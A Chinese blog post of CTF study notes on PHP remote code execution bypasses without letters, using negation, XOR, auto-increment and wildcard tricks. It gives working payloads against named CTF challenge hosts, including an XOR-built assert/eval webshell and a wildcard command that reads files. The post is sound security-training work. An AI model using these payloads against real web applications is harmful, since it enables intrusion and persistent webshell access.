无字母RCE绕过(取反,异或,自增,通配符)

原理参考:无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客

RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)

RCE通配符绕过-CSDN博客

以下是我的个人理解及例题

1.取反

例题:[SWPUCTF 2021 新生赛]hardrce | NSSCTF

取反用法就是对我们想要执行的语句通过取反符号"~"先准备好取反编码后语句,在通过(~)

写到url里达到绕过过滤a-z的目的,适用于没过滤"~"符号的题目

模型:?code=(语句1)(语句2)();

本题payload:

http://node5.anna.nssctf.cn:29866/?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0)();
http://node5.anna.nssctf.cn:29866/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)();

 2.异或"^"

例题:BUUCTF在线评测 (buuoj.cn)里的RCEme(这题用取反也行)

异或“^”,通过该符号可以通过二进制异或操作将两个字符拼接为一个

规则:1^1=0,1^0=1,0^1=1,0^0=0

比如a的二进制是01100001

就可通过!         00100001

和          @          01000000

异或来得到

本题payload为

http://45462824-8ac4-45c7-aa10-db156ace2026.node5.buuoj.cn:81/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

但链接上蚁剑后,由于有disable_functions里面的flag文件无法读取,找的别人的wp

[极客大挑战 2019]RCE ME - 云千 - 博客园 (cnblogs.com)

3.自增

利用php中数组与字符串强制链接,数组会强制转化为Array这个字符,在通过+号来得到我们所需要的字符

例题:

[HNCTF 2022 Week1]Challenge__rce | NSSCTF

4.通配符

在Linux系统中可以使用 ? * 等字符来正则匹配字母星号

*号可以用来代替0个及以上任意字符

?号可以用来代替1个任意字符

例题:CTFHub里的hate_php

构造?><?= 语句?>

相当于?><?php echo 语句?>

本题payload:

?code=?><?=`/???/??? /????`?>

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值